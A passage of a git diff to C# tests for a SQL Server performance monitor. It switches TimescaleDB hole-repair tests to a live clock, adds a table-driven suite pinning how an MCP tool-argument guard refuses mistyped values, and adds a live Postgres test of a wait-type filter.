-        Assert.True(H(0) > DateTime.UtcNow - TimescaleSupport.RawRetentionSpan, "the whole plant must sit inside the raw horizon");
+        Assert.True(H(28) < DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) - TimescaleSupport.HourlyRefreshStartSpan, "the whole plant must sit below the hourly policy window");
+        Assert.True(H(0) > DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) - TimescaleSupport.RawRetentionSpan, "the whole plant must sit inside the raw horizon");
 
         await InsertHoursAsync(connection, new[] { 0 }, H, ct);
         await RefreshAsync(connection, view, H(0), H(1), ct);
@@ -903,7 +911,7 @@ sits well inside the 4-day raw horizon. */
 
         /* PASS ONE: one hole found (26 buckets), 24 repaired, 2 deferred past the cap — on the same pass. */
         var log = new CapturingTestLogger();
-        var first = await TimescaleSupport.RepairMaterializationHolesAsync(connection, log, DateTime.UtcNow, ct);
+        var first = await TimescaleSupport.RepairMaterializationHolesAsync(connection, log, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
 
         Assert.Equal(0, first.Failures);
         Assert.Equal(1, first.HolesFound);
@@ -929,7 +937,7 @@ sits well inside the 4-day raw horizon. */
         Assert.Equal(new[] { H(25), H(26) }, await ScanAsync(connection, target, materialization.Value, H(0), H(27), ct));
 
         /* PASS TWO: the deferred remainder is the one hole now — found, repaired whole, nothing deferred. */
-        var second = await TimescaleSupport.RepairMaterializationHolesAsync(connection, new CapturingTestLogger(), DateTime.UtcNow, ct);
+        var second = await TimescaleSupport.RepairMaterializationHolesAsync(connection, new CapturingTestLogger(), DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
         Assert.Equal(0, second.Failures);
         Assert.Equal(1, second.HolesFound);
         Assert.Equal(2, second.BucketsFound);
@@ -941,7 +949,7 @@ sits well inside the 4-day raw horizon. */
         Assert.Equal(Enumerable.Range(0, 28).Select(H).ToArray(), await MaterializedBucketsAsync(connection, view, ct));
 
         /* PASS THREE: the zero-hole walk, with the walk still in the tally. */
-        var third = await TimescaleSupport.RepairMaterializationHolesAsync(connection, new CapturingTestLogger(), DateTime.UtcNow, ct);
+        var third = await TimescaleSupport.RepairMaterializationHolesAsync(connection, new CapturingTestLogger(), DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
         Assert.Equal(0, third.HolesFound);
         Assert.Equal(0, third.BucketsFound);
         Assert.Equal(0, third.HolesRepaired);
diff --git a/Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs b/Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs
index 7e2e4ddbd6..1a7cec2532 100644
--- a/Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs
+++ b/Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs
@@ -48,7 +48,7 @@ public void EveryTargetsScan_FencesBothProbes_AndProbesTheSourceOnlyForEmptyBuck
             Assert.Equal(3, sql.Split("OFFSET 0").Length - 1);
 
             var materializationProbeAt = sql.IndexOf(
-                "WHERE NOT EXISTS (SELECT 1 FROM \"_timescaledb_internal\".\"_materialized_hypertable_42\" AS m WHERE m.bucket = b.bucket OFFSET 0)",
+                "WHERE NOT EXISTS (SELECT 1 FROM \"_timescaledb_internal\".\"_materialized_hypertable_42\" AS m WHERE m.bucket >= b.bucket AND m.bucket <= b.bucket OFFSET 0)",
                 StringComparison.Ordinal);
             var fenceAt = sql.IndexOf("    OFFSET 0\n) AS c\nWHERE EXISTS (", StringComparison.Ordinal);
             var sourceProbeAt = sql.IndexOf($"SELECT 1 FROM collect.{target.Source} AS s", StringComparison.Ordinal);
@@ -216,8 +216,8 @@ private static async Task<Seeded> SeedAsync(string what)
             await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
             await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
 
-            var h0 = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddDays(-6), DateTimeKind.Unspecified);
-            Assert.True(DateTime.UtcNow - h0.AddHours(48) > TimescaleSupport.DailyRefreshStartSpan, "the seed must sit below every refresh policy's window");
+            var h0 = LiveClock.Now().Date.AddDays(-6);
+            Assert.True(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) - h0.AddHours(48) > TimescaleSupport.DailyRefreshStartSpan, "the seed must sit below every refresh policy's window");
 
             var collected = Enumerable.Range(0, 48).Where(h => h is not (>= 5 and <= 8) and not 20).ToArray();
             await PlantHoursAsync(connection, h0, collected, ct);
diff --git a/Darling/Darling.Tests/McpArgumentTypeRows.cs b/Darling/Darling.Tests/McpArgumentTypeRows.cs
new file mode 100644
index 0000000000..7639f17799
--- /dev/null
+++ b/Darling/Darling.Tests/McpArgumentTypeRows.cs
@@ -0,0 +1,420 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A test-only tool with a parameter of each CLR type that a product's shipped tools do not declare: <see cref="short"/>,
+/// <see cref="byte"/>, <see cref="ulong"/>, an integer array and a nullable <see cref="bool"/> (found by reflection
+/// over the tool types of both products), and <see cref="long"/> and <c>long?</c> for Lite. Darling's tools declare
+/// both. Lite declares no <c>long?</c>, and its one <see cref="long"/> (<c>plan_id</c> on
+/// <c>analyze_query_store_plan</c>) comes with a second required argument (<c>database_name</c>), so the runner
+/// passes that tool over. The in-process host registers it through the same
+/// <c>McpSchemaCompat.WithGeminiCompatibleTools</c> path as the shipped tools, so the call-tool guard meets it the same
+/// way. It carries no <c>McpServerToolType</c> attribute, so no census over the product's tool types sees it. It also
+/// declares a <see cref="CancellationToken"/>, which the SDK supplies and the schema leaves out, so the check that the
+/// record holds nothing the schema does not advertise always has such a parameter to see, whatever the shipped tools
+/// declare.
+/// </summary>
+internal static class McpArgumentTypeProbeTools
+{
+    [McpServerTool(Name = "probe_argument_types")]
+    [Description("Test-only tool: one parameter of each CLR type no shipped tool declares.")]
+    public static string Probe(
+        [Description("A short.")] short small = 0,
+        [Description("A byte.")] byte tiny = 0,
+        [Description("A ulong.")] ulong huge = 0,
+        [Description("An integer array.")] int[]? ids = null,
+        [Description("A nullable bool.")] bool? maybe = null,
+        [Description("A long.")] long big = 0,
+        [Description("A nullable long.")] long? maybeBig = null,
+        CancellationToken cancellationToken = default) => "ok";
+}
+
+/// <summary>
+/// The table behind the per-type argument pins, shared by both products. Each row is one value sent for one CLR type,
+/// and says whether the SDK's binder can read it. The runner checks BOTH halves of every row: with the guard left out,
+/// the binder throws on exactly the rows marked refused (so the table states what the binder does, not what the guard
+/// hopes), and with the guard in, those rows are refused by a message that names the argument and says what it takes,
+/// while every other row is left alone.
+///
+/// <para>The tool and parameter for a row are found by reflection over the product's tool types: the first tool that
+/// declares a parameter of that CLR type and needs no other argument, taking the tool types in the order the host
+/// registers them and each type's methods by method name, and passing over a tool whose name says it changes data
+/// (<c>delete_</c>, <c>create_</c> or <c>update_</c>), since a row that sends a value the binder reads runs the tool.
+/// A type no shipped tool declares falls through to
+/// <see cref="McpArgumentTypeProbeTools"/>.</para>
+/// </summary>
+internal static class McpArgumentTypeRows
+{
+    private static readonly Dictionary<string, Type> s_types = new(StringComparer.Ordinal)
+    {
+        ["int"] = typeof(int),
+        ["int?"] = typeof(int?),
+        ["long"] = typeof(long),
+        ["long?"] = typeof(long?),
+        ["short"] = typeof(short),
+        ["byte"] = typeof(byte),
+        ["ulong"] = typeof(ulong),
+        ["bool"] = typeof(bool),
+        ["bool?"] = typeof(bool?),
+        ["string"] = typeof(string),
+        ["int[]"] = typeof(int[]),
+        ["double"] = typeof(double),
+        ["double?"] = typeof(double?),
+        ["string[]"] = typeof(string[]),
+    };
+
+    /// <summary>One row per (type, value): the CLR type, the JSON value as sent, whether the binder cannot read it, and
+    /// the phrases the refusal must say, separated by '|' (empty for a value the binder reads).</summary>
+    public static TheoryData<string, string, bool, string> All()
+    {
+        var data = new TheoryData<string, string, bool, string>();
+        foreach (var row in Table())
+        {
+            data.Add(row.Type, row.Raw, row.Refused, row.Says);
+        }
+
+        return data;
+    }
+
+    /// <summary>The CLR types the table has at least one row for.</summary>
+    public static HashSet<string> CoveredTypeKeys() => Table().Select(row => row.Type).ToHashSet(StringComparer.Ordinal);
+
+    /// <summary>The table's key for each CLR type the host advertises a parameter of, across the shipped tool types.</summary>
+    public static SortedSet<string> ShippedParameterTypeKeys(McpInProcessHost host, IEnumerable<Type> toolTypes)
+    {
+        var served = host.RegisteredTools.ToDictionary(tool => tool.ProtocolTool.Name, StringComparer.Ordinal);
+        var keys = new SortedSet<string>(StringComparer.Ordinal);
+
+        foreach (var method in toolTypes.SelectMany(
+                     type => type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static)))
+        {
+            if (method.GetCustomAttribute<McpServerToolAttribute>() is not { } attribute
+                || !served.TryGetValue(attribute.Name ?? method.Name, out var tool)
+                || !tool.ProtocolTool.InputSchema.TryGetProperty("properties", out var properties))
+            {
+                continue;
+            }
+
+            foreach (var parameter in method.GetParameters().Where(p => properties.TryGetProperty(p.Name!, out _)))
+            {
+                keys.Add(s_types.FirstOrDefault(entry => entry.Value == parameter.ParameterType).Key
+                    ?? parameter.ParameterType.ToString());
+            }
+        }
+
+        return keys;
+    }
+
+    /// <summary>
+    /// What is wrong with the types the host recorded for its tools, or an empty list. Every parameter a tool
+    /// advertises has a recorded type, a type that agrees with the schema's word for it (an "integer" is an integer
+    /// type, a "boolean" is a bool), and an integer parameter refuses null exactly when its type cannot take one.
+    /// A tool the record misses would quietly fall back to the schema-only check.
+    /// </summary>
+    public static List<string> RecordedTypeProblems(McpInProcessHost host)
+    {
+        var types = host.ParameterTypes;
+        var problems = new List<string>();
+
+        foreach (var tool in host.RegisteredTools)
+        {
+            var name = tool.ProtocolTool.Name;
+            if (!tool.ProtocolTool.InputSchema.TryGetProperty("properties", out var properties) || !properties.EnumerateObject().Any())
+            {
+                continue;
+            }
+
+            if (!types.TryGet(name, out var declared))
+            {
+                problems.Add($"{name}: no parameter types were recorded");
+                continue;
+            }
+
+            foreach (var property in properties.EnumerateObject())
+            {
+                if (!declared.TryGetValue(property.Name, out var parameter))
+                {
+                    problems.Add($"{name}.{property.Name}: advertised, but no type was recorded");
+                    continue;
+                }
+
+                var clr = Nullable.GetUnderlyingType(parameter.Type) ?? parameter.Type;
+                /* An enum is not a whole number here, as in McpArgumentValueCheck.Bounds: Type.GetTypeCode answers an
+                   enum's underlying integer type. */
+                var integral = !clr.IsEnum && Type.GetTypeCode(clr) is TypeCode.SByte or TypeCode.Byte or TypeCode.Int16 or TypeCode.UInt16
+                    or TypeCode.Int32 or TypeCode.UInt32 or TypeCode.Int64 or TypeCode.UInt64;
+                var schemaType = property.Value.TryGetProperty("type", out var type)
+                    ? type.ValueKind == JsonValueKind.String
+                        ? type.GetString()
+                        : type.EnumerateArray().Select(entry => entry.GetString()).FirstOrDefault(word => word != "null")
+                    : null;
+
+                if ((schemaType == "integer") != integral || (schemaType == "boolean" && clr != typeof(bool)))
+                {
+                    problems.Add($"{name}.{property.Name}: the schema says {schemaType}, the recorded type is {parameter.Type}");
+                }
+
+                if (schemaType == "integer")
+                {
+                    var call = new CallToolRequestParams
+                    {
+                        Name = name,
+                        Arguments = new Dictionary<string, JsonElement> { [property.Name] = JsonDocument.Parse("null").RootElement.Clone() },
+                    };
+
+                    var refused = McpUnknownArgumentGuard.Refuse(call, tool, types) is not null;
+                    if (refused == parameter.AllowsNull)
+                    {
+                        problems.Add(
+                            $"{name}.{property.Name}: null is {(refused ? "refused" : "passed")}, but the recorded type {parameter.Type} "
+                            + (parameter.AllowsNull ? "takes null" : "does not take null"));
+                    }
+                }
+            }
+        }
+
+        return problems;
+    }
+
+    /// <summary>
+    /// What the host recorded for a tool that the tool's schema does not advertise, or an empty list: the reverse of
+    /// <see cref="RecordedTypeProblems"/>. The record holds only what a caller may send, so a parameter the schema
+    /// leaves out (a cancellation token the SDK supplies, a service resolved from DI) has no place in it, whatever the
+    /// tool method declares.
+    /// </summary>
+    public static List<string> RecordedButNotAdvertisedProblems(McpInProcessHost host)
+    {
+        var types = host.ParameterTypes;
+        var problems = new List<string>();
+
+        foreach (var tool in host.RegisteredTools)
+        {
+            var name = tool.ProtocolTool.Name;
+            if (!types.TryGet(name, out var recorded))
+            {
+                continue;
+            }
+
+            var advertised = tool.ProtocolTool.InputSchema.TryGetProperty("properties", out var properties)
+                ? properties.EnumerateObject().Select(property => property.Name).ToHashSet(StringComparer.Ordinal)
+                : new HashSet<string>(StringComparer.Ordinal);
+
+            problems.AddRange(recorded.Keys
+                .Where(parameter => !advertised.Contains(parameter))
+                .Select(parameter => $"{name}.{parameter}: recorded, but the schema does not advertise it"));
+        }
+
+        return problems;
+    }
+
+    private sealed class RowList : List<(string Type, string Raw, bool Refused, string Says)>
+    {
+        public void Add(string type, string raw, bool refused, string says) => Add((type, raw, refused, says));
+    }
+
+    private static List<(string Type, string Raw, bool Refused, string Says)> Table()
+    {
+        var rows = new RowList();
+
+        /* An int past int range, which the guard used to read as a long and pass. */
+        rows.Add("int", "3000000000", true, "whole number|too large");
+        rows.Add("int", "-3000000000", true, "whole number|too small");
+        rows.Add("int", "\"3000000000\"", true, "whole number|too large");
+        rows.Add("int", "2147483647", false, "");
+        rows.Add("int", "\"5\"", false, "");
+        rows.Add("int", "2.5", true, "whole number|no decimal point");
+        rows.Add("int?", "3000000000", true, "whole number|too large");
+        rows.Add("int?", "null", false, "");
+        rows.Add("long", "9223372036854775807", false, "");
+        rows.Add("long", "9223372036854775808", true, "whole number|too large");
+        rows.Add("long?", "null", false, "");
+
+        /* null for a parameter that is not nullable. */
+        rows.Add("int", "null", true, "whole number|cannot be null");
+        rows.Add("long", "null", true, "whole number|cannot be null");
+        rows.Add("bool", "null", true, "true or false|cannot be null");
+
+        /* short and byte past their range. */
+        rows.Add("short", "32767", false, "");
+        rows.Add("short", "32768", true, "whole number|too large");
+        rows.Add("short", "-32769", true, "whole number|too small");
+        rows.Add("short", "\"7\"", false, "");
+        rows.Add("byte", "255", false, "");
+        rows.Add("byte", "256", true, "whole number|too large");
+        rows.Add("byte", "-1", true, "whole number|too small");
+
+        /* A ulong: past long range but within its own is read, past its own is not. */
+        rows.Add("ulong", "18446744073709551615", false, "");
+        rows.Add("ulong", "9223372036854775808", false, "");
+        rows.Add("ulong", "18446744073709551616", true, "whole number|too large");
+        rows.Add("ulong", "-1", true, "whole number|too small");
+        /* Zero with a minus sign is no smaller than zero, but an unsigned type does not read the sign. */
+        rows.Add("ulong", "-0", true, "whole number|too small");
+
+        /* Integer arrays. */
+        rows.Add("int[]", "[1,2,3]", false, "");
+        rows.Add("int[]", "[]", false, "");
+        rows.Add("int[]", "null", false, "");
+        rows.Add("int[]", "[\"1\",\"2\"]", false, "");
+        rows.Add("int[]", "[1,2.5]", true, "list|whole numbers");
+        rows.Add("int[]", "[3000000000]", true, "list|whole numbers");
+        rows.Add("int[]", "[null]", true, "list|whole numbers");
+        rows.Add("int[]", "\"1,2,3\"", true, "list|whole numbers");
+        rows.Add("int[]", "5", true, "list|whole numbers");
+
+        /* A number, a boolean or a container sent to a string. */
+        rows.Add("string", "5", true, "text");
+        rows.Add("string", "true", true, "text");
+        rows.Add("string", "[\"a\"]", true, "text");
+        rows.Add("string", "{}", true, "text");
+        rows.Add("string", "\"x\"", false, "");
+        rows.Add("string", "null", false, "");
+
+        /* A string, or a number, sent to a boolean. */
+        rows.Add("bool", "\"yes\"", true, "true or false");
+        rows.Add("bool", "\"true\"", true, "true or false");
+        rows.Add("bool", "1", true, "true or false");
+        rows.Add("bool", "true", false, "");
+        rows.Add("bool", "false", false, "");
+        rows.Add("bool?", "null", false, "");
+        rows.Add("bool?", "\"yes\"", true, "true or false");
+
+        /* A floating-point parameter, nullable and not. */
+        rows.Add("double?", "2.5", false, "");
+        rows.Add("double?", "\"2.5\"", false, "");
+        rows.Add("double?", "\"abc\"", true, "number");
+        rows.Add("double?", "true", true, "number");
+        rows.Add("double", "2.5", false, "");
+        rows.Add("double", "\"abc\"", true, "number");
+        rows.Add("double", "null", true, "number|cannot be null");
+
+        /* A list of text. */
+        rows.Add("string[]", "[\"a\",\"b\"]", false, "");
+        rows.Add("string[]", "null", false, "");
+        rows.Add("string[]", "[\"a\",5]", true, "list|text");
+        rows.Add("string[]", "\"a\"", true, "list|text");
+
+        return rows;
+    }
+
+    /// <summary>
+    /// Runs one row against a host with the guard in and a host with it left out. <paramref name="toolTypes"/> lists
+    /// the shipped tool types first and the probe tool last, so a shipped tool is preferred.
+    /// </summary>
+    public static async Task CheckAsync(
+        McpInProcessHost guarded, McpInProcessHost unguarded, IReadOnlyCollection<Type> toolTypes,
+        string typeKey, string raw, bool refused, string says, CancellationToken cancellationToken)
+    {
+        var (tool, parameter) = Resolve(guarded, toolTypes, s_types[typeKey]);
+        var arguments = new Dictionary<string, object?> { [parameter] = JsonDocument.Parse(raw).RootElement.Clone() };
+        var label = $"{tool}.{parameter} ({typeKey}) <- {raw}";
+
+        /* Half one: the binder on its own. The row says what it does; this is what pins that. */
+        var before = unguarded.ToolExceptions.Entries.Count;
+        await unguarded.Client.CallToolAsync(tool, arguments, cancellationToken: cancellationToken);
+        var bound = !unguarded.ToolExceptions.BindingFailureSince(before);
+        Assert.True(
+            bound != refused,
+            refused
+                ? $"{label}: the row says the binder cannot read this, but the call bound without a JSON error"
+                : $"{label}: the row says the binder reads this, but it threw: " + unguarded.ToolExceptions.Describe());
+
+        /* Half two: the guard in front of it. */
+        var result = await guarded.Client.CallToolAsync(tool, arguments, cancellationToken: cancellationToken);
+        var text = McpInProcessHost.TextOf(result);
+        var refusal = McpInProcessHost.RefusalMessage(result);
+        var guardRefused = refusal is not null && refusal.Contains("refused before it ran", StringComparison.Ordinal);
+
+        if (!refused)
+        {
+            Assert.False(guardRefused, $"{label}: the guard refused a value the binder reads -> {text}");
+            return;
+        }
+
+        Assert.True(guardRefused, $"{label}: the guard passed a value the binder cannot read, so the SDK answered -> {text}");
+
+        foreach (var phrase in says.Split('|', StringSplitOptions.RemoveEmptyEntries))
+        {
+            var problem = McpInProcessHost.WholeNumberRefusalProblem(tool, parameter, phrase, result);
+            Assert.True(problem is null, $"{label}: {problem}");
+        }
+
+        if (raw.Length <= 40)
+        {
+            Assert.True(refusal!.Contains(raw, StringComparison.Ordinal), $"{label}: the refusal does not quote the value -> {refusal}");
+        }
+    }
+
+    /// <summary>The first tool with a parameter of the CLR type that the host advertises and that needs no other
+    /// argument, so a call sending only that one argument reaches the binder for it alone. The walk takes the tool types
+    /// in the order the caller gives them (both products' test lists sort them by full type name) and each type's
+    /// methods by method name, not by tool name. A tool that changes data is passed over, by its name (<c>delete_</c>,
+    /// <c>create_</c> or <c>update_</c>): a row that sends a value the binder reads runs the tool, and a row should not
+    /// run a write. The name check covers those three prefixes only, so a write tool named otherwise
+    /// (<c>add_servers</c>, <c>remove_server</c>, <c>set_mute_rule_enabled</c>, <c>mute_analysis_finding</c>) is not
+    /// passed over. What keeps any tool body from reaching a real store is the test host's stand-in services, not the
+    /// name check: Darling's data source points at a closed port, and Lite's services are uninitialized instances with
+    /// every field null.</summary>
+    private static (string Tool, string Parameter) Resolve(McpInProcessHost host, IEnumerable<Type> toolTypes, Type clr)
+    {
+        var served = host.RegisteredTools.ToDictionary(tool => tool.ProtocolTool.Name, StringComparer.Ordinal);
+
+        foreach (var toolType in toolTypes)
+        {
+            foreach (var method in toolType
+                         .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static)
+                         .OrderBy(method => method.Name, StringComparer.Ordinal))
+            {
+                if (method.GetCustomAttribute<McpServerToolAttribute>() is not { } attribute
+                    || !served.TryGetValue(attribute.Name ?? method.Name, out var tool)
+                    || ChangesData(tool.ProtocolTool.Name))
+                {
+                    continue;
+                }
+
+                var schema = tool.ProtocolTool.InputSchema;
+                var advertised = schema.TryGetProperty("properties", out var properties)
+                    ? properties.EnumerateObject().Select(property => property.Name).ToHashSet(StringComparer.Ordinal)
+                    : new HashSet<string>(StringComparer.Ordinal);
+                var required = schema.TryGetProperty("required", out var requiredNames)
+                    ? requiredNames.EnumerateArray().Select(name => name.GetString()!).ToHashSet(StringComparer.Ordinal)
+                    : new HashSet<string>(StringComparer.Ordinal);
+
+                foreach (var parameter in method.GetParameters().Where(p => p.ParameterType == clr && advertised.Contains(p.Name!)))
+                {
+                    if (required.All(name => name == parameter.Name))
+                    {
+                        return (tool.ProtocolTool.Name, parameter.Name!);
+                    }
+                }
+            }
+        }
+
+        throw new InvalidOperationException($"No tool declares a parameter of type {clr}.");
+    }
+
+    private static bool ChangesData(string toolName) =>
+        toolName.StartsWith("delete_", StringComparison.Ordinal)
+        || toolName.StartsWith("create_", StringComparison.Ordinal)
+        || toolName.StartsWith("update_", StringComparison.Ordinal);
+}
diff --git a/Darling/Darling.Tests/McpArgumentTypeTests.cs b/Darling/Darling.Tests/McpArgumentTypeTests.cs
new file mode 100644
index 0000000000..bf6f09be76
--- /dev/null
+++ b/Darling/Darling.Tests/McpArgumentTypeTests.cs
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The call-tool guard checks each argument against the CLR type of its parameter, not only against the schema's word
+/// "integer". The schema cannot tell an <c>int</c> from a <c>long</c> or a <c>byte</c>, and says nothing of
+/// nullability, so a value the binder cannot read (an int past int range, null for a parameter that is not
+/// nullable, a number for a string, a string for a boolean, an integer array with a fraction in it) used to reach the
+/// SDK and come back as "An error occurred invoking ...", with no word on which argument was wrong. Each row of
+/// <see cref="McpArgumentTypeRows"/> pins both halves: the binder on its own reads or rejects the value as the row
+/// says, and the guard refuses exactly the values the binder rejects, by a message that names the argument.
+/// </summary>
+public sealed class McpArgumentTypeTests : IClassFixture<McpArgumentTypeTests.Hosts>
+{
+    /// <summary>The two in-process servers every row shares: one with the guard in, one with it left out.</summary>
+    public sealed class Hosts : IAsyncLifetime
+    {
+        internal McpInProcessHost Guarded { get; private set; } = null!;
+
+        internal McpInProcessHost Unguarded { get; private set; } = null!;
+
+        public async ValueTask InitializeAsync()
+        {
+            Guarded = await McpWholeNumberArgumentTests.StartHostAsync(true, typeof(McpArgumentTypeProbeTools));
+            Unguarded = await McpWholeNumberArgumentTests.StartHostAsync(false, typeof(McpArgumentTypeProbeTools));
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Guarded.DisposeAsync();
+            await Unguarded.DisposeAsync();
+        }
+    }
+
+    private readonly Hosts _hosts;
+
+    public McpArgumentTypeTests(Hosts hosts) => _hosts = hosts;
+
+    public static TheoryData<string, string, bool, string> Rows() => McpArgumentTypeRows.All();
+
+    [Theory]
+    [MemberData(nameof(Rows))]
+    public async Task EachValue_IsRefusedByName_ExactlyWhenTheBinderCannotReadIt(
+        string type, string raw, bool refused, string says)
+    {
+        var toolTypes = McpWholeNumberArgumentTests.RegisteredToolTypes()
+            .Append(typeof(McpArgumentTypeProbeTools))
+            .ToList();
+
+        await McpArgumentTypeRows.CheckAsync(
+            _hosts.Guarded, _hosts.Unguarded, toolTypes, type, raw, refused, says, TestContext.Current.CancellationToken);
+    }
+
+    /// <summary>The host records a type for every parameter each tool advertises, and the types agree with the schema,
+    /// so the guard's typed check covers every shipped tool instead of quietly falling back to the schema alone.</summary>
+    [Fact]
+    public void EveryAdvertisedParameter_HasARecordedType_ThatAgreesWithTheSchema()
+    {
+        var problems = McpArgumentTypeRows.RecordedTypeProblems(_hosts.Guarded);
+
+        Assert.True(problems.Count == 0, $"{problems.Count} problems:\n" + string.Join("\n", problems.Take(40)));
+    }
+
+    /// <summary>The reverse of the check above: the record holds only what a caller may send, so every parameter it holds
+    /// is one the tool's schema advertises. A parameter the schema leaves out (a cancellation token the SDK supplies, a
+    /// service resolved from DI) is not recorded, whatever the tool method declares.</summary>
+    [Fact]
+    public void EveryRecordedParameter_IsOneTheSchemaAdvertises()
+    {
+        var problems = McpArgumentTypeRows.RecordedButNotAdvertisedProblems(_hosts.Guarded);
+
+        Assert.True(problems.Count == 0, $"{problems.Count} problems:\n" + string.Join("\n", problems.Take(40)));
+    }
+
+    /// <summary>The table is only worth having if it reaches every CLR type the shipped tools declare, so a tool added
+    /// with a type the table lacks fails here by name instead of passing through unchecked.</summary>
+    [Fact]
+    public void EveryClrTypeAShippedToolDeclares_IsOneTheTableCovers()
+    {
+        var covered = McpArgumentTypeRows.CoveredTypeKeys();
+        var declared = McpArgumentTypeRows.ShippedParameterTypeKeys(
+            _hosts.Guarded, McpWholeNumberArgumentTests.RegisteredToolTypes());
+
+        var missing = declared.Where(key => !covered.Contains(key)).ToList();
+        Assert.True(
+            missing.Count == 0,
+            "Shipped tools declare parameters of these types, which the table has no row for: " + string.Join(", ", missing));
+    }
+}
diff --git a/Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs b/Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs
index 1857661c7a..c6ddf02d1f 100644
--- a/Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs
+++ b/Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs
@@ -285,6 +285,113 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #5235: the wait_type filter is IN the query, like database_name, so the count, the cap and the truncation flag all see it. One
+    /// capture holds the waits the filter has to tell apart, and a capture two minutes earlier holds one more row on the same wait:
+    /// <code>
+    ///   55 (Db)      LCK_M_X, blocked by 60 (the default wait of a blocked row)
+    ///   60 (Db)      a WAITFOR shell on the WAITFOR wait, blocking 55: the head blocker
+    ///   61 (Db)      "PAGEIOLATCH_SH " with the trailing space an older collector stored
+    ///   62 (Db)      PAGEIOLATCH_EX: another wait with the same prefix
+    ///   63 (OtherDb) PAGEIOLATCH_SH
+    ///   64 (Db)      running, no wait: a NULL wait never matches
+    ///   61 (Db)      PAGEIOLATCH_SH, in the earlier capture
+    /// </code>
+    /// </summary>
+    [Fact]
+    public async Task ActiveQueries_WaitTypeFilter_IsInTheQuery_AnyCase_AndNamedInTheMiss()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live filter-semantics test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2);
+
+            await PlantSnapshotAsync(connection, ct, t, 55, Db, "UPDATE Posts SET Score = 1", blockingSessionId: 60, cpuMs: 500);
+            await PlantSnapshotAsync(connection, ct, t, 60, Db, "WAITFOR DELAY '00:05'", blockingSessionId: 0, cpuMs: 1, waitType: "WAITFOR");
+            await PlantSnapshotAsync(connection, ct, t, 61, Db, "SELECT * FROM Posts", blockingSessionId: 0, cpuMs: 300, waitType: "PAGEIOLATCH_SH ");
+            await PlantSnapshotAsync(connection, ct, t, 62, Db, "SELECT * FROM Votes", blockingSessionId: 0, cpuMs: 250, waitType: "PAGEIOLATCH_EX");
+            await PlantSnapshotAsync(connection, ct, t, 63, OtherDb, "SELECT * FROM Sales", blockingSessionId: 0, cpuMs: 200, waitType: "PAGEIOLATCH_SH");
+            await PlantSnapshotAsync(connection, ct, t, 64, Db, "SELECT COUNT(*) FROM Comments", blockingSessionId: 0, cpuMs: 100);
+            await PlantSnapshotAsync(connection, ct, t.AddMinutes(-2), 61, Db, "SELECT * FROM Posts", blockingSessionId: 0, cpuMs: 50, waitType: "PAGEIOLATCH_SH");
+
+            async Task<JsonElement> ActiveAsync(string? database = null, bool blockingOnly = false, string? wait = null, int limit = 50) =>
+                JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(postgres, ServerName, 1, database, blockingOnly, wait, limit)).RootElement;
+            static int[] Sessions(JsonElement root) =>
+                root.GetProperty("queries").EnumerateArray().Select(r => r.GetProperty("session_id").GetInt32()).ToArray();
+
+            /* No wait filter: the seven rows (the WAITFOR shell stays as a head blocker), and the echo says there was none. */
+            var all = await ActiveAsync();
+            Assert.Equal(7, all.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(JsonValueKind.Null, all.GetProperty("filters_applied").GetProperty("wait_type").ValueKind);
+
+            /* Lowercase input finds the exact name AND the trailing-space row. The page is newest capture first, highest CPU first within
+               one, so 61 (space) leads 63 and the earlier capture's 61 comes last. 62 (another wait) and 64 (no wait) are out. The echo
+               is the value the caller sent, not the upper-cased match key. */
+            var latch = await ActiveAsync(wait: "pageiolatch_sh");
+            Assert.Equal(3, latch.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(new[] { 61, 63, 61 }, Sessions(latch));
